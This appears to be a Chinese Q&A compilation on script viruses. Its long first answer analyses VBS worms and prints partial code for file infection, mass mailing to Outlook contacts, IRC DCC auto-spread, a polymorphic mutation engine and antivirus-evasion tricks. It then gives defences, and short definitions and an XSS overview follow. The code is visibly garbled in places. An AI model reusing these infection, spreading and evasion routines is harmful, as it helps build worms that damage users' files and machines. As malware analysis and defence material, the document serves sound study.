❶ VBS腳本病毒的病毒原理分析
1.vbs腳本病毒如何感染、搜索文件
VBS腳本病毒一般是直接通過自我復制來感染文件的,病毒中的絕大部分代碼都可以直接附加在其他同類程序的中間,譬如新歡樂時光病毒可以將自己的代碼附加在.htm文件的尾部,並在頂部加入一條調用病毒代碼的語句,而宏病毒則是直接生成一個文件的副本,將病毒代碼拷入其中,並以原文件名作為病毒文件名的前綴,vbs作為後綴。下面我們通過宏病毒的部分代碼具體分析一下這類病毒的感染和搜索原理:
以下是文件感染的部分關鍵代碼:
Set fso=createobject(scripting.filesystemobject)
'創建一個文件系統對象
set self=fso.opentextfile(wscript.scriptfullname,1)
'讀打開當前文件(即病毒本身)
vbs=self.readall
' 讀取病毒全部代碼到字元串變數vbs……
set ap=fso.opentextfile(目標文件.path,2,true)
' 寫打開目標文件,准備寫入病毒代碼
ap.write vbs ' 將病毒代碼覆蓋目標文件
ap.close
set cop=fso.getfile(目標文件.path) '得到目標文件路徑
cop.(目標文件.path & .vbs)
' 創建另外一個病毒文件(以.vbs為後綴)
目標文件.delete(true)
'刪除目標文件
上面描述了病毒文件是如何感染正常文件的:首先將病毒自身代碼賦給字元串變數vbs,然後將這個字元串覆蓋寫到目標文件,並創建一個以目標文件名為文件名前綴、vbs為後綴的文件副本,最後刪除目標文件。
下面我們具體分析一下文件搜索代碼:
'該函數主要用來尋找滿足條件的文件,並生成對應文件的一個病毒副本
sub scan(folder_) 'scan函數定義,
on error resume next '如果出現錯誤,直接跳過,防止彈出錯誤窗口
set folder_=fso.getfolder(folder_)
set files=folder_.files ' 當前目錄的所有文件集合
for each file in filesext=fso.GetExtensionName(file)
'獲取文件後綴
ext=lcase(ext) '後綴名轉換成小寫字母
if ext=mp5 then '如果後綴名是mp5,則進行感染。
請自己建立相應後綴名的文件,最好是非正常後綴名 ,以免破壞正常程序。
Wscript.echo (file)
end ifnextset subfolders=folder_.subfoldersfor each subfolder in subfolders '搜索其他目錄;遞歸調用
scan( ) scan(subfolder)
next
end sub
上面的代碼就是VBS腳本病毒進行文件搜索的代碼分析。搜索部分scan( )函數做得比較短小精悍,非常巧妙,採用了一個遞歸的演算法遍歷整個分區的目錄和文件。
2.vbs腳本病毒通過網路傳播的幾種方式及代碼分析
VBS腳本病毒之所以傳播范圍廣,主要依賴於它的網路傳播功能,一般來說,VBS腳本病毒採用如下幾種方式進行傳播:
1)通過Email附件傳播
這是一種用的非常普遍的傳播方式,病毒可以通過各種方法拿到合法的Email地址,最常見的就是直接取outlook地址簿中的郵件地址,也可以通過程序在用戶文檔(譬如htm文件)中搜索Email地址。
下面我們具體分析一下VBS腳本病毒是如何做到這一點的:
Function mailBroadcast()
on error resume next
wscript.echo
Set outlookApp = CreateObject(Outlook.Application)
//創建一個OUTLOOK應用的對象
If outlookApp= Outlook Then
Set mapiObj=outlookApp.GetNameSpace(MAPI)
//獲取MAPI的名字空間
Set addrList= mapiObj.AddressLists
//獲取地址表的個數
For Each addr In addrList
If addr.AddressEntries.Count <> 0 Then
addrEntCount = addr.AddressEntries.Count
//獲取每個地址表的Email記錄數
For addrEntIndex= 1 To addrEntCount
//遍歷地址表的Email地址
Set item = outlookApp.CreateItem(0)
//獲取一個郵件對象實例
Set addrEnt = addr.AddressEntries(addrEntIndex)
//獲取具體Email地址
= addrEnt.Address
//填入收信人地址
item.Subject = 病毒傳播實驗
//寫入郵件標題
item.Body = 這里是病毒郵件傳播測試,收到此信請不要慌張!
//寫入文件內容
Set attachMents=item.Attachments //定義郵件附件
attachMents.Add fileSysObj.GetSpecialFolder(0)& est.jpg.vbs
item.DeleteAfterSubmit = True
//信件提交後自動刪除
Then
item.Send
//發送郵件
shellObj.regwrite HKCUsoftwareMailtestmailed, 1
//病毒標記,以免重復感染
End If
NextEnd IfNext
End if
End Function
2)通過區域網共享傳播
區域網共享傳播也是一種非常普遍並且有效的網路傳播方式。一般來說,為了區域網內交流方便,一定存在不少共享目錄,並且具有可寫許可權,譬如win2000創建共享時,默認就是具有可寫許可權。這樣病毒通過搜索這些共享目錄,就可以將病毒代碼傳播到這些目錄之中。
在VBS中,有一個對象可以實現網上鄰居共享文件夾的搜索與文件操作。我們利用該對象就可以達到傳播的目的。
welcome_msg = 網路連接搜索測試
Set WSHNetwork = WScript.CreateObject(WScript.Network)
』創建一個網路對象
Set oPrinters = WshNetwork.EnumPrinterConnections
』創建一個網路列印機連接列表
WScript.Echo Network printer mappings:
For i = 0 to oPrinters.Count - 1Step2
』顯示網路列印機連接情況
WScript.Echo Port &oPrinters.Item(i)
& = & oPrinters.Item(i+1)
Next
Set colDrives = WSHNetwork.EnumNetworkDrives
』創建一個網路共享連接列表
If colDrives.Count = 0 Then
MsgBox 沒有可列出的驅動器。,
vbInformation + vbOkOnly,welcome_msg
Else
strMsg = 當前網路驅動器連接: &CRLF
Fori=0To colDrives.Count - 1 Step 2
strMsg = strMsg & Chr(13)&Chr(10)&colDrives(i)
& Chr(9)&colDrives(i+1)
Next
MsgBox strMsg, vbInformation + vbOkOnly,
welcome_msg』顯示當前網路驅動器連接
End If
上面是一個用來尋找當前列印機連接和網路共享連接並將它們顯示出來的完整腳本程序。在知道了共享連接之後,我們就可以直接向目標驅動器讀寫文件了。
3)通過感染htm、asp、jsp、php等網頁文件傳播
如今,WWW服務已經變得非常普遍,病毒通過感染htm等文件,勢必會導致所有訪問過該網頁的用戶機器感染病毒。
病毒之所以能夠在htm文件中發揮強大功能,採用了和絕大部分網頁惡意代碼相同的原理。基本上,它們採用了相同的代碼,不過也可以採用其它代碼,這段代碼是病毒FSO,WSH等對象能夠在網頁中運行的關鍵。在注冊表HKEY_CLASSES_ROOTCLSID下我們可以找到這么一個主鍵,注冊表中對它他的說明是「Windows Script Host Shell Object」,同樣,我們也可以找到,注冊表對它的說明是「FileSystem Object」,一般先要對COM進行初始化,在獲取相應的組件對象之後,病毒便可正確地使用FSO、WSH兩個對象,調用它們的強大功能。代碼如下所示:
Set Apple0bject = document.applets(KJ_guest)Apple0bject.setCLSID()Apple0bject.createInstance() 』創建一個實例
Set WsShell Apple0bject.Get0bject()
Apple0bject.setCLSID()
Apple0bject.createInstance()
』創建一個實例
Set FSO = Apple0bject.Get0bject()
對於其他類型文件,這里不再一一分析。
4)通過IRC聊天通道傳播
病毒通過IRC傳播一般來說採用以下代碼(以MIRC為例)
Dim mirc
set fso=CreateObject(Scripting.FileSystemObject)
set mirc=fso.CreateTextFile(C:mircscript.ini)
』創建文件script.ini
fso.CopyFile Wscript.ScriptFullName, C:mircattachment.vbs,
True 』將病毒文件備份到attachment.vbs
mirc.WriteLine [script]
mirc.WriteLine n0=on 1:join:*.*:
{if($nick !=$me) /dcc send $nick C:mircattachment.vbs }
'利用命令/ddc send $nick attachment.vbs給通道中的其他用戶傳送病毒文件
mirc.Close
以上代碼用來往Script.ini文件中寫入一行代碼,實際中還會寫入很多其他代碼。Script.ini中存放著用來控制IRC會話的命令,這個文件裡面的命令是可以自動執行的。譬如,TUNE.VBS病毒就會修改c:mircscript.ini 和 c:mircmirc.ini,使每當IRC用戶使用被感染的通道時都會收到一份經由DDC發送的TUNE.VBS。同樣,如果Pirch98已安裝在目標計算機的c:pirch98目錄下,病毒就會修改c:pirch98events.ini和c:pirch98pirch98.ini,使每當IRC用戶使用被感染的通道時都會收到一份經由DDC發送的TUNE.VBS。
另外病毒也可以通過現在廣泛流行的KaZaA進行傳播。病毒將病毒文件拷貝到KaZaA的默認共享目錄中,這樣,當其他用戶訪問這台機器時,就有可能下載該病毒文件並執行。這種傳播方法可能會隨著KaZaA這種點對點共享工具的流行而發生作用。
還有一些其他的傳播方法,我們這里不再一一列舉。
3.VBS腳本病毒如何獲得控制權
如何獲取控制權?這一個是一個比較有趣的話題,而VBS腳本病毒似乎將這個話題發揮的淋漓盡致。筆者在這里列出幾種典型的方法:
1)修改注冊表項
windows在啟動的時候,會自動載入HKEY_LOCAL_項下的各鍵值所執向的程序。腳本病毒可以在此項下加入一個鍵值指向病毒程序,這樣就可以保證每次機器啟動的時候拿到控制權。vbs修改注冊表的方法比較簡單,直接調用下面語句即可。 wsh.RegWrite(strName, anyvalue [,strType])
2)通過映射文件執行方式
譬如,我們新歡樂時光將dll的執行方式修改為wscript.exe。甚至可以將exe文件的映射指向病毒代碼。
3)欺騙用戶,讓用戶自己執行
這種方式其實和用戶的心理有關。譬如,病毒在發送附件時,採用雙後綴的文件名,由於默認情況下,後綴並不顯示,舉個例子,文件名為beauty.jpg.vbs的vbs程序顯示為beauty.jpg,這時用戶往往會把它當成一張圖片去點擊。同樣,對於用戶自己磁碟中的文件,病毒在感染它們的時候,將原有文件的文件名作為前綴,vbs作為後綴產生一個病毒文件,並刪除原來文件,這樣,用戶就有可能將這個vbs文件看作自己原來的文件運行。
4)desktop.ini和folder.htt互相配合
這兩個文件可以用來配置活動桌面,也可以用來自定義文件夾。如果用戶的目錄中含有這兩個文件,當用戶進入該目錄時,就會觸發folder.htt中的病毒代碼。這是新歡樂時光病毒採用的一種比較有效的獲取控制權的方法。並且利用folder.htt,還可能觸發exe文件,這也可能成為病毒得到控制權的一種有效方法!
病毒獲得控制權的方法還有很多,這方面作者發揮的餘地也比較大。
4.vbs腳本病毒對抗反病毒軟體的幾種技巧
病毒要生存,對抗反病毒軟體的能力也是必需的。一般來說,VBS腳本病毒採用如下幾種對抗反病毒軟體的方法:
1)自加密
譬如,新歡樂時光病毒,它可以隨機選取密鑰對自己的部分代碼進行加密變換,使得每次感染的病毒代碼都不一樣,達到了多態的效果。這給傳統的特徵值查毒法帶來了一些困難。病毒也還可以進一步的採用變形技術,使得每次感染後的加密病毒的解密後的代碼都不一樣。
下面看一個簡單的vbs腳本變形引擎(來自flyshadow)
Randomize
Set Of = CreateObject(Scripting.FileSystemObject)
』創建文件系統對象
vC = Of.OpenTextFile(WScript.ScriptFullName, 1).Readall
』讀取自身代碼
fS=Array(Of, vC, fS, fSC)
』定義一個即將被替換字元的數組
For fSC = 0 To 3
vC = Replace(vC, fS(fSC), Chr((Int(Rnd * 22) + 65))
& Chr((Int(Rnd * 22) + 65)) & Chr((Int(Rnd * 22) + 65))
& Chr((Int(Rnd * 22) + 65)))
』取4個隨機字元替換數組fS中的字元串
Next
Of.OpenTextFile(WScript.ScriptFullName, 2, 1).Writeline vC 』將替換後的代碼寫迴文件
上面這段代碼使得該VBS文件在每次運行後,其Of,vC,fS,fSC四字元串都會用隨機字元串來代替,這在很大程度上可以防止反病毒軟體用特徵值查毒法將其查出。
2)巧妙運用Execute函數
用過VBS程序的朋友是否會覺得奇怪:當一個正常程序中用到了FileSystemObject對象的時候,有些反病毒軟體會在對這個程序進行掃描的時候報告說此Vbs文件的風險為高,但是有些VBS腳本病毒同樣採用了FileSystemObject對象,為什麼卻又沒有任何警告呢?原因很簡單,就是因為這些病毒巧妙的運用了Execute方法。有些殺毒軟體檢測VBS病毒時,會檢查程序中是否聲明使用了FileSystemObject對象,如果採用了,這會發出報警。如果病毒將這段聲明代碼轉化為字元串,然後通過Execute(String)函數執行,就可以躲避某些反病毒軟體。
3)改變某些對象的聲明方法
譬如fso=createobject(scripting.filesystemobject),我們將其改變為
fso=createobject(script+ing.filesyste+mobject),這樣反病毒軟體對其進行靜態掃描時就不會發現filesystemobject對象。
4)直接關閉反病毒軟體
VBS腳本功能強大,它可以直接在搜索用戶進程然後對進程名進行比較,如果發現是反病毒軟體的進程就直接關閉,並對它的某些關鍵程序進行刪除。
5.Vbs病毒生產機的原理介紹
所謂病毒生產機就是指可以直接根據用戶的選擇產生病毒源代碼的軟體。在很多人看來這或許不可思議,其實對腳本病毒而言它的實現非常簡單。
腳本語言是解釋執行的、不需要編譯,程序中不需要什麼校驗和定位,每條語句之間分隔得比較清楚。這樣,先將病毒功能做成很多單獨的模塊,在用戶做出病毒功能選擇後,生產機只需要將相應的功能模塊拼湊起來,最後再作相應的代碼替換和優化即可。由於篇幅關系和其他原因,這里不作詳細介紹。
三、如何防範vbs腳本病毒
1.如何從樣本中提取(加密)腳本病毒
對於沒有加密的腳本病毒,我們可以直接從病毒樣本中找出來,現在介紹一下如何從病毒樣本中提取加密VBS腳本病毒,這里我們以新歡樂時光為例。
用JediEdit打開folder.htt。我們發現這個文件總共才93行,第一行,幾行注釋後,以開始,節尾。相信每個人都知道這是個什麼類型的文件吧!
第87行到91行,是如下語句:
87:
第87和91行不用解釋了,第88行是一個字元串的賦值,很明顯這是被加密過的病毒代碼。看看89行最後的一段代碼ThisText = ThisText & TempChar,再加上下面那一行,我們肯定能夠猜到ThisText裡面放的是病毒解密代碼(熟悉vbs的兄弟當然也可以分析一下這段解密代碼,too simple!就算完全不看代碼也應該可以看得出來的)。第90行是執行剛才ThisText中的那段代碼(經過解密處理後的代碼)。
那麼,下一步該怎麼做呢?很簡單,我們只要在病毒代碼解密之後,將ThisText的內容輸出到一個文本文件就可以解決了。由於上面幾行是vbscript,於是我創建了如下一個.txt文件:
首先,第88、89兩行到剛才建立的.txt文件,當然如果你願意看看新歡樂時光的執行效果,你也可以在最後輸入第90行。然後在下面一行輸入創建文件和將ThisText寫入文件vbs代碼,整個文件如下所示:
ExeString = Afi...』 第88行代碼
Execute(Dim KeyAr... 』 第89行代碼
set fso=createobject(scripting.filesystemobject)
』 創建一個文件系統對象
set virusfile=fso.createtextfile(resource.log,true)
』 創建一個新文件resource.log,
用以存放解密後的病毒代碼 virusfile.writeline(ThisText)
』 將解密後的代碼寫入resource.log
OK!就這么簡單,保存文件,將該文件後綴名.txt改為.vbs(.vbe也可以),雙擊,你會發現該文件目錄下多了一個文件resource.log,打開這個文件,怎麼樣?是不是「新歡樂時光」的源代碼啊!
2.vbs腳本病毒的弱點
vbs腳本病毒由於其編寫語言為腳本,因而它不會像PE文件那樣方便靈活,它的運行是需要條件的(不過這種條件默認情況下就具備了)。筆者認為,VBS腳本病毒具有如下弱點:
1)絕大部分VBS腳本病毒運行的時候需要用到一個對象:FileSystemObject
2)VBScript代碼是通過Windows Script Host來解釋執行的。
3)VBS腳本病毒的運行需要其關聯程序Wscript.exe的支持。
4)通過網頁傳播的病毒需要ActiveX的支持
5)通過Email傳播的病毒需要OE的自動發送郵件功能支持,但是絕大部分病毒都是以Email為主要傳播方式的。
3.如何預防和解除vbs腳本病毒
針對以上提到的VBS腳本病毒的弱點,筆者提出如下集中防範措施:
1)禁用文件系統對象FileSystemObject
方法:用regsvr32 scrrun.dll /u這條命令就可以禁止文件系統對象。其中regsvr32是WindowsSystem下的可執行文件。或者直接查找scrrun.dll文件刪除或者改名。
還有一種方法就是在注冊表中HKEY_CLASSES_ROOTCLSID下找到一個主鍵的項,咔嚓即可。
2)卸載Windows Scripting Host
在Windows 98中(NT 4.0以上同理),打開[控制面板]→[添加/刪除程序]→[Windows安裝程序]→[附件],取消「Windows Scripting Host」一項。
和上面的方法一樣,在注冊表中HKEY_CLASSES_ROOTCLSID下找到一個主鍵的項,咔嚓。
3)刪除VBS、VBE、JS、JSE文件後綴名與應用程序的映射
點擊[我的電腦]→[查看]→[文件夾選項]→[文件類型],然後刪除VBS、VBE、JS、JSE文件後綴名與應用程序的映射。
4)在Windows目錄中,找到WScript.exe,更改名稱或者刪除,如果你覺得以後有機會用到的話,最好更改名稱好了,當然以後也可以重新裝上。
5)要徹底防治VBS網路蠕蟲病毒,還需設置一下你的瀏覽器。我們首先打開瀏覽器,單擊菜單欄里「Internet 選項」安全選項卡里的[自定義級別]按鈕。把「ActiveX控制項及插件」的一切設為禁用,這樣就不怕了。呵呵,譬如新歡樂時光的那個ActiveX組件如果不能運行,網路傳播這項功能就玩完了。
6)禁止OE的自動收發郵件功能
7)由於蠕蟲病毒大多利用文件擴展名作文章,所以要防範它就不要隱藏系統中已知文件類型的擴展名。Windows默認的是「隱藏已知文件類型的擴展名稱」,將其修改為顯示所有文件類型的擴展名稱。
8)將系統的網路連接的安全級別設置至少為「中等」,它可以在一定程度上預防某些有害的Java程序或者某些ActiveX組件對計算機的侵害。
9)呵呵,最後一項不說大家也應該知道了,殺毒軟體確實很必要,盡管有些殺毒軟體挺讓廣大用戶失望,不過,選擇是雙方的哦。在這個病毒橫飛的網路,如果您的機器沒有裝上殺毒軟體我覺得確實挺不可思議的。
四、對所有腳本類病毒發展的展望
隨著網路的飛速發展,網路蠕蟲病毒開始流行,而VBS腳本蠕蟲則更加突出,不僅數量多,而且威力大。由於利用腳本編寫病毒比較簡單,除了將繼續流行目前的VBS腳本病毒外,將會逐漸出現更多的其它腳本類病毒,譬如PHP,JS,Perl病毒等。但是腳本並不是真正病毒技術愛好者編寫病毒的最佳工具,並且腳本病毒解除起來比較容易、相對容易防範。筆者認為,腳本病毒仍將繼續流行,但是能夠具有像宏病毒、新歡樂時光那樣大影響的腳本蠕蟲病毒只是少數。
❷ 什麼是腳本病毒啊
腳本病毒通常是JavaScript代碼編寫的惡意代碼,
一般帶有廣告性質,會修改您的IE首頁、修改注冊表等信息,造成用戶使用計算機不方便。
至於你說的那個,只要是殺毒查出來的,不管他,殺了!
❸ 腳本病毒是什麼
腳本病毒的前綴是:Script。腳本病毒的公有特性是使用腳本語言編寫,通過網頁進行的傳播的病毒,如紅色代碼(Script.Redlof)。腳本病毒還會有如下前綴:VBS、JS(表明是何種腳本編寫的),如歡樂時光(VBS.Happytime)、十四日(Js.Fortnight.c.s)等。
❹ 什麼是腳本病毒
什麼是惡意腳本?
惡意腳本是指一切以製造危害或者損害系統功能為目的而從軟體系統中增加、改變或刪除的任何腳本。傳統的惡意腳本包括:病毒,蠕蟲,特洛伊木馬,和攻擊性腳本。更新的例子包括: Java攻擊小程序(Java attack applets)和危險的ActiveX控制項。
防治惡意腳本,應該採取以下措施 :
第一,上網時開啟瑞星殺毒軟體的八大監控。
第二,不要輕易瀏覽不良網站。
第三,如果懷疑自己感染了惡意腳本,可以登陸瑞星免費查毒網站,對自己的電腦進行全面掃描。
具體的原理和防範方法到這里去學習下:
http://www.yesky.com/SoftChannel/72356699872165888/20031015/1736105.shtml
❺ 腳本也是病毒嗎他有什麼危害
腳本未必是病毒,病毒也未必是腳本。腳本病毒中,比較典型的是JavaScript 腳本型病毒。這些惡意程序,最常用的渠道就是通過網民在互聯網下載資料時,暗中趁虛而入。偷別人的帳號、QQ號等。
❻ 誰能說一下腳本病毒的原理、攻擊流程與防護、、最好詳細點呀、網站也好、謝啦、、
通過對xss跨站腳本攻擊漏洞的歷史、攻擊特點、攻擊原理描述及案例代碼實戰舉例詳細解析XSS漏洞攻擊技術,並提出防禦XSS跨站漏洞的思路方法。及WEB開發者開發網站過程中防範編碼中產生xss跨站腳本攻擊漏洞需要注意的事項。
XSS漏洞概述:
XSS(Cross Site Script)跨站點腳本攻擊是一種注射的問題,在這種惡意腳本注入否則良性和信任的網站類型。跨站點腳本(XSS)攻擊,攻擊者使用時,會出現一個網路應用程序發送惡意代碼,一般是在瀏覽器端腳本的形式,向不同的最終用戶。這些缺陷,使攻擊成功是相當普遍,發生在任何地方從一個Web應用程序使用在輸出它沒有驗證或編碼了用戶輸入。攻擊者可以使用XSS的惡意腳本發送到一個毫無戒心的用戶。最終用戶的瀏覽有沒有辦法知道該腳本不應該信任,將執行該腳本。因為它認為該腳本來從一個受信任的源,惡意腳本可以訪問任何Cookie,會話令牌,或其他敏感信息的瀏覽器保留,並與該網站使用。 甚至可以重寫這些腳本的HTML網頁的內容。
XSS漏洞歷史:
XSS(Cross-site scripting)漏洞最早可以追溯到1996年,那時電子商務才剛剛起步,估計那時候國內很少人會想像到今天出現的幾個國內電子商務巨頭淘寶、當當、亞馬遜(卓越)。XSS的出現「得益」於JavaScript的出現,JavaScript的出現給網頁的設計帶來了無限驚喜,包括今天風行的AJAX(Asynschronous JavaScript and XML)。同時,這些元素又無限的擴充了今天的網路安全領域。
XSS 漏洞攻擊特點:
(1)XSS跨站漏洞種類多樣人:
XSS攻擊語句可插入到、URL地址參數後面、輸入框內、img標簽及DIV標簽等HTML函數的屬人里、Flash的getURL()動作等地方都會觸發XSS漏洞。
(2)XSS跨站漏洞代碼多樣人:
為了躲避轉義HTML特殊字元函數及過濾函數的過濾,XSS跨站的代碼使用「/」來代替安字元「」」、使用Tab鍵代替空格、部分語句轉找成16進制、添加特殊字元、改變大小寫及使用空格等來繞過過濾函數。
如果在您的新聞系統發現安全漏洞,如果該漏洞是一個SQL 注入漏洞,那麼該漏洞就會得到您的網站管理員密碼、可以在主機系統上執行shell命令、對資料庫添加、刪除數據。如果在您的新聞或郵件系統中發現安全漏洞,如果該漏洞是一個XSS跨站漏洞,那麼可以構造一些特殊代碼,只要你訪問的頁麵包含了構造的特殊代碼,您的主機可能就會執行木馬程序、執行^***Cookies代碼、突然轉到一個銀行及其它金融類的網站、泄露您的網銀及其它賬號與密碼等。
XSS攻擊原理:
XSS 屬於被動式的攻擊。攻擊者先構造一個跨站頁面,利用script、<IMG>、<IFRAME>等各種方式使得用戶瀏覽這個頁面時,觸發對被攻擊站點的http 請求。此時,如果被攻擊者如果已經在被攻擊站點登錄,就會持有該站點cookie。這樣該站點會認為被攻擊者發起了一個http 請求。而實際上這個請求是在被攻擊者不知情的情況下發起的,由此攻擊者在一定程度上達到了冒充被攻擊者的目的。精心的構造這個攻擊請求,可以達到冒充發文,奪取許可權等等多個攻擊目的。在常見的攻擊實例中,這個請求是通過script 來發起的,因此被稱為Cross Site Script。攻擊Yahoo Mail 的Yamanner 蠕蟲是一個著名的XSS 攻擊實例。Yahoo Mail 系統有一個漏洞,當用戶在web 上察看信件時,有可能執行到信件內的javascript 代碼。病毒可以利用這個漏洞使被攻擊用戶運行病毒的script。同時Yahoo Mail 系統使用了Ajax技術,這樣病毒的script 可以很容易的向Yahoo Mail 系統發起ajax 請求,從而得到用戶的地址簿,並發送病毒給他人。
XSS 攻擊主要分為兩類:一類是來自內部的攻擊,主要指的是利用WEB 程序自身的漏洞,提交特殊的字元串,從而使得跨站頁面直接存在於被攻擊站點上,這個字元串被稱為跨站語句。這一類攻擊所利用的漏洞非常類似於SQL Injection 漏洞,都是WEB程序沒有對用戶輸入作充分的檢查和過濾。上文的Yamanner 就是一例。
另一類則是來來自外部的攻擊,主要指的自己構造XSS 跨站漏洞網頁或者尋找非目標機以外的有跨站漏洞的網頁。如當我們要滲透一個站點,我們自己構造一個跨站網頁放在自己的伺服器上,然後通過結合其它技術,如社會工程學等,欺騙目標伺服器的管理員打開。這一類攻擊的威脅相對較低,至少ajax 要發起跨站調用是非常困難的。
❼ 腳本病毒什麼意思
腳本病毒,其前綴是Script,其共有特性是使用腳本語言編寫,通過網頁進行傳播,如紅色代碼(Script.Redlof)。